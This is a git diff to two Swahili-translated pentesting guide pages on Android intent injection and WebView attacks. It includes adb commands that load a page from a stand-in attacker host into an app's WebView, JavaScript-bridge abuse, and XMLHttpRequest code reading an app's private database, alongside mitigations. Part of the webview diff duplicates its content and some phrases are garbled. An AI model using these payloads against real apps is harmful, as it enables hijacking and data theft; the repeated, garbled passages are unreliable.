diff --git a/src/mobile-pentesting/android-app-pentesting/intent-injection.md b/src/mobile-pentesting/android-app-pentesting/intent-injection.md index 875b81d59..4d8e6f451 100644 --- a/src/mobile-pentesting/android-app-pentesting/intent-injection.md +++ b/src/mobile-pentesting/android-app-pentesting/intent-injection.md @@ -1,5 +1,64 @@ -{{#include ../../banners/hacktricks-training.md}} - -**Angalia: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)** +# Intent Injection + +{{#include ../../banners/hacktricks-training.md}} + +Kuingilia kwa Intent kunatumia vipengele vinavyokubali Intents au data inayodhibitiwa na mshambuliaji ambayo baadaye inabadilishwa kuwa Intents. Mifano mbili za kawaida sana wakati wa pentesting ya programu za Android ni: + +- Kupitisha extras zilizoundwa kwa shughuli/huduma/wasambazaji wa matangazo waliohamasishwa ambao baadaye wanapelekwa kwa vipengele vya kibinafsi, visivyoweza kusambazwa. +- Kuanza VIEW/BROWSABLE deep links zilizohamishwa ambazo zinapeleka URLs zinazodhibitiwa na mshambuliaji ndani ya WebViews za ndani au vyanzo vingine nyeti. + +## Deep links → WebView sink (injection ya parameter ya URL) + +Ikiwa programu inatoa deep link ya mpango maalum kama: +```text +myscheme://com.example.app/web?url= +``` +na Activity inayopokea inapeleka parameter ya `url` ya kuhoji ndani ya WebView, unaweza kulazimisha programu kuonyesha maudhui ya mbali yasiyo na mipaka katika muktadha wake wa WebView. + +PoC kupitia adb: +```bash +# Implicit VIEW intent +adb shell am start -a android.intent.action.VIEW \ +-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html" + +# Or explicitly target an Activity +adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \ +-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html" +``` +Impact +- HTML/JS inatekelezwa ndani ya profaili ya WebView ya programu. +- Ikiwa JavaScript imewezeshwa (kwa default au kutokana na ukaguzi usio sahihi), unaweza kuhesabu/kutumia vitu vyovyote vilivyo wazi vya `@JavascriptInterface`, kuiba vidakuzi vya WebView/hifadhi ya ndani, na kubadilisha. + +Tazama pia: + +{{#ref}} +webview-attacks.md +{{#endref}} + +## Hitilafu ya mpangilio wa ukaguzi inayowezesha JavaScript + +Hitilafu inayojirudia ni kuwezesha JavaScript (au mipangilio mingine ya WebView inayoruhusu) kabla ya orodha ya mwisho ya URL kukamilika. Ikiwa wasaidizi wa mapema wanakubali kiungo chako cha ndani na WebView imewekwa kwanza, upakiaji wako wa mwisho unafanyika huku JavaScript ikiwa tayari imewezeshwa hata kama ukaguzi wa baadaye una kasoro au umechelewa. + +Nini cha kutafuta katika msimbo uliofutwa: +- Wasaidizi wengi wanaopasua/kugawanya/kurejesha URL kwa njia tofauti (normalization isiyo thabiti). +- Kuitwa kwa `getSettings().setJavaScriptEnabled(true)` kabla ya ukaguzi wa mwisho wa mwenyeji/ufunguo. +- Mchakato kama: pasua → thibitisha sehemu → weka WebView → thibitisha mwisho → loadUrl. + +Mitigations +- Canonicalize mara moja na thibitisha kwa ukali; fail closed. +- Wezesha JavaScript tu baada ya ukaguzi wote kupita na kabla ya kupakia maudhui ya kuaminika. +- Epuka kufichua madaraja kwa asili zisizoaminika. + +## Msingi mingine ya jadi ya kuingiza Intent + +- startActivity/sendBroadcast kutumia `Intent` extras zinazotolewa na mshambuliaji ambazo baadaye zinarejeshwa (`Intent.parseUri(...)`) na kutekelezwa. +- Vipengele vya proxy vilivyotolewa vinavyosambaza Intents kwa vipengele nyeti visivyotolewa bila ukaguzi wa ruhusa. + +## Marejeleo + +- [Android – Access to app-protected components](https://blog.oversecured.com/Android-Access-to-app-protected-components/) +- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26) +- [Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html) +- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/webview-attacks.md b/src/mobile-pentesting/android-app-pentesting/webview-attacks.md index 5a2687ed9..6b4288e7b 100644 --- a/src/mobile-pentesting/android-app-pentesting/webview-attacks.md +++ b/src/mobile-pentesting/android-app-pentesting/webview-attacks.md @@ -16,10 +16,10 @@ Kwa kawaida, WebViews zinaruhusu upatikanaji wa faili. Kazi hii inasimamiwa na n #### **Vipengele Vilivyopitwa na Wakati: Upatikanaji wa Kijumla na Upatikanaji wa Faili Kutoka kwa URLs** -- **Upatikanaji wa Kijumla Kutoka kwa URL za Faili**: Kipengele hiki kilichopitwa na wakati kiliruhusu maombi ya kuvuka mipaka kutoka kwa URL za faili, na kuleta hatari kubwa ya usalama kutokana na mashambulizi ya XSS. Mipangilio ya kawaida imezimwa (`false`) kwa programu zinazolenga Android Jelly Bean na mpya. +- **Upatikanaji wa Kijumla Kutoka kwa URLs za Faili**: Kipengele hiki kilichopitwa na wakati kiliruhusu maombi ya kuvuka mipaka kutoka kwa URLs za faili, na kuleta hatari kubwa ya usalama kutokana na mashambulizi ya XSS. Mipangilio ya kawaida imezimwa (`false`) kwa programu zinazolenga Android Jelly Bean na mpya. - Ili kuangalia mipangilio hii, tumia `getAllowUniversalAccessFromFileURLs()`. - Ili kubadilisha mipangilio hii, tumia `setAllowUniversalAccessFromFileURLs(boolean)`. -- **Upatikanaji wa Faili Kutoka kwa URL za Faili**: Kipengele hiki, pia kilichopitwa na wakati, kilisimamia upatikanaji wa maudhui kutoka kwa URL nyingine za mpango wa faili. Kama upatikanaji wa kijumla, mipangilio yake ya kawaida imezimwa kwa usalama zaidi. +- **Upatikanaji wa Faili Kutoka kwa URLs za Faili**: Kipengele hiki, pia kilichopitwa na wakati, kilisimamia upatikanaji wa maudhui kutoka kwa URLs zingine za mpango wa faili. Kama upatikanaji wa kijumla, mipangilio yake ya kawaida imezimwa kwa usalama zaidi. - Tumia `getAllowFileAccessFromFileURLs()` kuangalia na `setAllowFileAccessFromFileURLs(boolean)` kuweka. #### **Kuhifadhi Faili kwa Usalama** @@ -27,7 +27,7 @@ Kwa kawaida, WebViews zinaruhusu upatikanaji wa faili. Kazi hii inasimamiwa na n Ili kuzima upatikanaji wa mfumo wa faili wakati bado unapata mali na rasilimali, njia ya `setAllowFileAccess()` inatumika. Pamoja na Android R na zaidi, mipangilio ya kawaida ni `false`. - Angalia kwa `getAllowFileAccess()`. -- Washa au zima kwa `setAllowFileAccess(boolean)`. +- Wezesha au zima kwa `setAllowFileAccess(boolean)`. #### **WebViewAssetLoader** @@ -39,11 +39,230 @@ Hii ni kazi ya kawaida inayotumika kupakia URLs zisizo na mpangilio katika webvi ```java webview.loadUrl("") ``` -Ofc, mshambuliaji wa uwezekano hapaswi kamwe kuwa na uwezo wa **kudhibiti URL** ambayo programu itakuwa inaload. +Ofc, mshambuliaji wa uwezekano haipaswi kamwe kuwa na uwezo wa **kudhibiti URL** ambayo programu itakuwa inaload. ### **JavaScript na Usimamizi wa Mpango wa Intent** - **JavaScript**: Imezuiliwa kwa default katika WebViews, inaweza kuwezeshwa kupitia `setJavaScriptEnabled()`. Tahadhari inashauriwa kwani kuwezesha JavaScript bila hatua sahihi za usalama kunaweza kuleta udhaifu wa usalama. +- **Mpango wa Intent**: WebViews zinaweza kushughulikia mpango wa `intent`, ambayo inaweza kusababisha mashambulizi ikiwa haitasimamiwa kwa makini. Mfano wa udhaifu ulijumuisha parameter ya WebView iliyo wazi "support_url" ambayo inaweza kutumika kutekeleza mashambulizi ya cross-site scripting (XSS). + +![Vulnerable WebView](<../../images/image (1191).png>) + +Mfano wa unyakuzi ukitumia adb: +```bash +adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html" +``` +### Javascript Bridge + +Kipengele kinatolewa na Android ambacho kinamwezesha **JavaScript** katika WebView kuita **mifumo ya programu za asili za Android**. Hii inapatikana kwa kutumia njia ya `addJavascriptInterface`, ambayo inachanganya JavaScript na kazi za asili za Android, inayoitwa _WebView JavaScript bridge_. Tahadhari inashauriwa kwani njia hii inaruhusu kurasa zote ndani ya WebView kufikia kitu cha JavaScript Interface kilichosajiliwa, ikileta hatari ya usalama ikiwa taarifa nyeti zitafichuliwa kupitia interfaces hizi. + +- **Tahadhari kubwa inahitajika** kwa programu zinazolenga toleo la Android chini ya 4.2 kutokana na udhaifu unaoruhusu utekelezaji wa msimbo wa mbali kupitia JavaScript mbaya, ikitumia reflection. + +#### Implementing a JavaScript Bridge + +- **JavaScript interfaces** zinaweza kuingiliana na msimbo wa asili, kama inavyoonyeshwa katika mifano ambapo njia ya darasa inafichuliwa kwa JavaScript: +```javascript +@JavascriptInterface +public String getSecret() { +return "SuperSecretPassword"; +}; +``` +- JavaScript Bridge imewezeshwa kwa kuongeza interface kwenye WebView: +```javascript +webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge") +webView.reload() +``` +- Uwezekano wa kutumia kupitia JavaScript, kwa mfano, kupitia shambulio la XSS, unaruhusu kuita mbinu za Java zilizofichuliwa: +```html + +``` +- Ili kupunguza hatari, **punguza matumizi ya daraja la JavaScript** kwa msimbo uliotumwa na APK na kuzuia upakiaji wa JavaScript kutoka vyanzo vya mbali. Kwa vifaa vya zamani, weka kiwango cha chini cha API kuwa 17. + +### Utekelezaji wa Msimbo wa K remote kwa Kutumia Reflection (RCE) + +- Njia iliyoandikwa inaruhusu kufikia RCE kupitia reflection kwa kutekeleza payload maalum. Hata hivyo, annotation ya `@JavascriptInterface` inazuia ufikiaji wa njia zisizoidhinishwa, ikipunguza uso wa shambulio. + +### Urekebishaji wa Mbali + +- **Urekebishaji wa mbali** un posible na **Chrome Developer Tools**, ukiruhusu mwingiliano na utekelezaji wa JavaScript bila mipaka ndani ya maudhui ya WebView. + +#### Kuwezesha Urekebishaji wa Mbali + +- Urekebishaji wa mbali unaweza kuwezeshwa kwa WebViews zote ndani ya programu kwa: +```java +if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { +WebView.setWebContentsDebuggingEnabled(true); +} +``` +- Kuwawezesha ufuatiliaji kwa masharti kulingana na hali ya ufuatiliaji ya programu: +```java +if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { +if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE)) +{ WebView.setWebContentsDebuggingEnabled(true); } +} +``` +## Exfiltrate arbitrary files + +- Inaonyesha uhamasishaji wa faili zisizo na mpangilio kwa kutumia XMLHttpRequest: +```javascript +var xhr = new XMLHttpRequest() +xhr.onreadystatechange = function () { +if (xhr.readyState == XMLHttpRequest.DONE) { +alert(xhr.responseText) +} +} +xhr.open( +"GET", +"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db", +true +) +xhr.send(null) +``` +# Webview Attacks + + + +## Guide on WebView Configurations and Security + +### Overview of WebView Vulnerabilities + +Sehemu muhimu ya maendeleo ya Android inahusisha kushughulikia WebViews kwa usahihi. Mwongo huu unasisitiza mipangilio muhimu na mbinu za usalama ili kupunguza hatari zinazohusiana na matumizi ya WebView. + +![WebView Example](<../../images/image (1190).png>) + +### **File Access in WebViews** + +Kwa kawaida, WebViews zinaruhusu ufikiaji wa faili. Kazi hii inasimamiwa na njia ya `setAllowFileAccess()`, inayopatikana tangu kiwango cha API ya Android 3 (Cupcake 1.5). Programu zenye ruhusa ya **android.permission.READ_EXTERNAL_STORAGE** zinaweza kusoma faili kutoka kwa hifadhi ya nje kwa kutumia mpango wa URL wa faili (`file://path/to/file`). + +#### **Deprecated Features: Universal and File Access From URLs** + +- **Universal Access From File URLs**: Kipengele hiki kilichotolewa ruhusa kwa maombi ya cross-origin kutoka kwa URL za faili, na kuleta hatari kubwa ya usalama kutokana na mashambulizi ya XSS. Mipangilio ya kawaida imezimwa (`false`) kwa programu zinazolenga Android Jelly Bean na mpya. +- Ili kuangalia mipangilio hii, tumia `getAllowUniversalAccessFromFileURLs()`. +- Ili kubadilisha mipangilio hii, tumia `setAllowUniversalAccessFromFileURLs(boolean)`. +- **File Access From File URLs**: Kipengele hiki, pia kilichotolewa, kilisimamia ufikiaji wa maudhui kutoka kwa URL za mpango wa faili nyingine. Kama ufikiaji wa ulimwengu, mipangilio yake ya kawaida imezimwa kwa usalama zaidi. +- Tumia `getAllowFileAccessFromFileURLs()` kuangalia na `setAllowFileAccessFromFileURLs(boolean)` kuweka. + +#### **Secure File Loading** + +Ili kuzima ufikiaji wa mfumo wa faili wakati bado unapata mali na rasilimali, njia ya `setAllowFileAccess()` inatumika. Pamoja na Android R na zaidi, mipangilio ya kawaida ni `false`. + +- Angalia kwa `getAllowFileAccess()`. +- Wezesha au zima kwa `setAllowFileAccess(boolean)`. + +#### **WebViewAssetLoader** + +Darasa la **WebViewAssetLoader** ni njia ya kisasa ya kupakia faili za ndani. Linatumia URL za http(s) kwa ajili ya kufikia mali na rasilimali za ndani, likikubaliana na sera ya Same-Origin, hivyo kurahisisha usimamizi wa CORS. + +### loadUrl + +Hii ni kazi ya kawaida inayotumika kupakia URL zisizo na mpangilio katika webview: +```java +webview.loadUrl("") +``` +Ofc, mshambuliaji mwenye uwezo haipaswi kamwe kuwa na uwezo wa **kudhibiti URL** ambayo programu itakuwa inaload. + +### Deep-linking katika WebView ya ndani (mpango maalum → WebView sink) + +Mifumo mingi inasajili mipango/nyimbo maalum ambayo inaelekeza URL iliyotolewa na mtumiaji ndani ya WebView ya ndani ya programu. Ikiwa kiungo cha ndani kimepelekwa (VIEW + BROWSABLE), mshambuliaji anaweza kulazimisha programu kuonyesha maudhui ya mbali yasiyo na mipaka ndani ya muktadha wa WebView yake. + +Mfano wa kawaida wa hati (uliopunguzika): +```xml + + + + + + + + +``` +Mchakato wa kawaida wa msimbo (uliopunguzia): +```java +// Entry activity +@Override +protected void onNewIntent(Intent intent) { +Uri deeplink = intent.getData(); +String url = deeplink.getQueryParameter("url"); // attacker-controlled +if (deeplink.getPathSegments().get(0).equals("web")) { +Intent i = new Intent(this, WebActivity.class); +i.putExtra("url", url); +startActivity(i); +} +} + +// WebActivity sink +webView.loadUrl(getIntent().getStringExtra("url")); +``` +Mwelekeo wa shambulio na PoC kupitia adb: +```bash +# Template – force load in internal WebView +adb shell am start -a android.intent.action.VIEW \ +-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html" + +# If a specific Activity must be targeted +adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \ +-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html" +``` +Impact: ukurasa wa mbali unakimbia katika muktadha wa WebView wa programu (cookies/sessio ya profaili ya WebView ya programu, ufikiaji wa @JavascriptInterface yoyote iliyofichuliwa, ufikiaji wa content:// na file:// kulingana na mipangilio). + +Hunting tips: +- Grep vyanzo vilivyotolewa kwa `getQueryParameter("url")`, `loadUrl(`, vyanzo vya `WebView`, na waendeshaji wa deep-link (`onCreate/onNewIntent`). +- Kagua manifest kwa ajili ya VIEW+BROWSABLE filters na mipango/hosts maalum ambayo yanahusiana na shughuli ambazo baadaye zinaanzisha WebView. +- Angalia kama kuna njia nyingi za deep-link (mfano, njia ya “browza ya nje” dhidi ya njia ya “webview ya ndani”) na upendeleo ile inayowekwa ndani ya programu. + +### Kuanzisha JavaScript kabla ya uthibitisho (bug ya mpangilio wa ukaguzi) + +Kosa la kawaida la kuimarisha ni kuanzisha JavaScript au kuunda mipangilio ya WebView iliyolegezwa kabla ya orodha ya mwisho/uthibitisho wa URL ya lengo kukamilika. Ikiwa uthibitisho hauko sawa kati ya wasaidizi au unafanyika kwa kuchelewa, kiashiria cha shambulio kinaweza kufikia hali ambapo: + +1) Mipangilio ya WebView inatumika (mfano, `setJavaScriptEnabled(true)`), na +2) URL isiyoaminika inaloadiwa ikiwa JavaScript imewezeshwa. + +Bug pattern (pseudocode): +```java +// 1) Parse/early checks +Uri u = parse(intent); +if (!looksValid(u)) return; + +// 2) Configure WebView BEFORE final checks +webView.getSettings().setJavaScriptEnabled(true); // BAD: too early +configureMixedContent(); + +// 3) Do final verification (late) +if (!finalAllowlist(u)) return; // too late – JS already enabled + +// 4) Load +webView.loadUrl(u.toString()); +``` +Kwa nini inapatikana +- Kurekebisha kwa njia isiyo sawa: wasaidizi wanakata/rejenga URL tofauti na ukaguzi wa mwisho, wakisababisha kutofautiana ambayo URL mbaya inaweza kutumia. +- Mchakato usio na mpangilio: kuwezesha JS katika hatua ya 2 kunatumika kwa ujumla kwa mfano wa WebView, ikihusisha mzigo wa mwisho hata kama uthibitisho baadaye ungeweza kushindwa. + +Jinsi ya kupima +- Tengeneza payloads za deep-link ambazo zinapita ukaguzi wa mapema na kufikia tovuti ya usanidi ya WebView. +- Tumia adb kutuma nia za VIEW zisizo za moja kwa moja zinazotoa parameter `url=` inayodhibitiwa na wewe: +```bash +adb shell am start -a android.intent.action.VIEW \ +-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html" +``` +Ikiwa unyakuzi unafanikiwa, payload yako inatekeleza JavaScript katika WebView ya programu. Kutoka hapo, chunguza madaraja yaliyo wazi: +```html + +``` +Defensive guidance +- Canonicalize mara moja; thibitisha kwa ukali dhidi ya chanzo kimoja cha ukweli (mpango/jeshi/ufikiaji/uchunguzi). +- Itumie tu `setJavaScriptEnabled(true)` baada ya ukaguzi wote wa orodha ya ruhusa kupita na kabla ya kupakia maudhui ya kuaminika. +- Epuka kufichua `@JavascriptInterface` kwa asili zisizoaminika; pendelea udhibiti wa kila asili. +- Fikiria kuhusu matukio ya kila WebView kwa maudhui ya kuaminika dhidi ya yasiyoaminika, huku JS ikiwa imezimwa kwa chaguo-msingi. + +### **JavaScript na Usimamizi wa Mpango wa Intent** + +- **JavaScript**: Imezimwa kwa chaguo-msingi katika WebViews, inaweza kuwezeshwa kupitia `setJavaScriptEnabled()`. Tahadhari inashauriwa kwani kuwezesha JavaScript bila kinga sahihi kunaweza kuleta udhaifu wa usalama. - **Mpango wa Intent**: WebViews zinaweza kushughulikia mpango wa `intent`, ambayo inaweza kusababisha matumizi mabaya ikiwa haitasimamiwa kwa makini. Mfano wa udhaifu ulijumuisha parameter ya WebView iliyo wazi "support_url" ambayo inaweza kutumika kutekeleza mashambulizi ya cross-site scripting (XSS). ![Vulnerable WebView](<../../images/image (1191).png>) @@ -67,7 +286,7 @@ public String getSecret() { return "SuperSecretPassword"; }; ``` -- JavaScript Bridge imewezeshwa kwa kuongeza interface kwenye WebView: +- JavaScript Bridge imewezeshwa kwa kuongeza kiunganishi kwenye WebView: ```javascript webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge") webView.reload() @@ -82,11 +301,11 @@ alert(javascriptBridge.getSecret()) ### Utekelezaji wa Msimbo wa K remote kwa Kutumia Reflection (RCE) -- Njia iliyoandikwa inaruhusu kufikia RCE kupitia reflection kwa kutekeleza payload maalum. Hata hivyo, annotation ya `@JavascriptInterface` inazuia ufikiaji wa njia zisizoidhinishwa, ikipunguza uso wa shambulio. +- Njia iliyorekodiwa inaruhusu kufikia RCE kupitia reflection kwa kutekeleza payload maalum. Hata hivyo, annotation ya `@JavascriptInterface` inazuia ufikiaji wa njia zisizoidhinishwa, ikipunguza uso wa shambulio. ### Urekebishaji wa Mbali -- **Urekebishaji wa mbali** un posible na **Chrome Developer Tools**, ikiruhusu mwingiliano na utekelezaji wa JavaScript bila mipaka ndani ya maudhui ya WebView. +- **Urekebishaji wa mbali** un posible na **Chrome Developer Tools**, ukiruhusu mwingiliano na utekelezaji wa JavaScript bila mipaka ndani ya maudhui ya WebView. #### Kuwezesha Urekebishaji wa Mbali @@ -122,10 +341,13 @@ xhr.send(null) ``` ## Marejeo -- [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html) -- [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android) -- [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView) -- [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1) -- [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I) +- [Mapitio ya mashambulizi ya ufikiaji wa faili za Android WebViews](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html) +- [WheresMyBrowser.Android (programu ya kuonyesha)](https://github.com/authenticationfailure/WheresMyBrowser.Android) +- [Marejeo ya Android WebView](https://developer.android.com/reference/android/webkit/WebView) +- [Deep Links & WebViews Exploitations – Sehemu ya II](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1) +- [Deep Links & WebViews Exploitations – Sehemu ya I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I) +- [Samsung S24 Exploit Chain Pwn2Own 2024 Mwongozo](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26) +- [Pwn2Own Ireland 2024 – mnyororo wa shambulio la Samsung S24 (karatasi ya nyeupe)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html) +- [Video ya kuonyesha](https://www.youtube.com/watch?v=LAIr2laU-So) {{#include ../../banners/hacktricks-training.md}}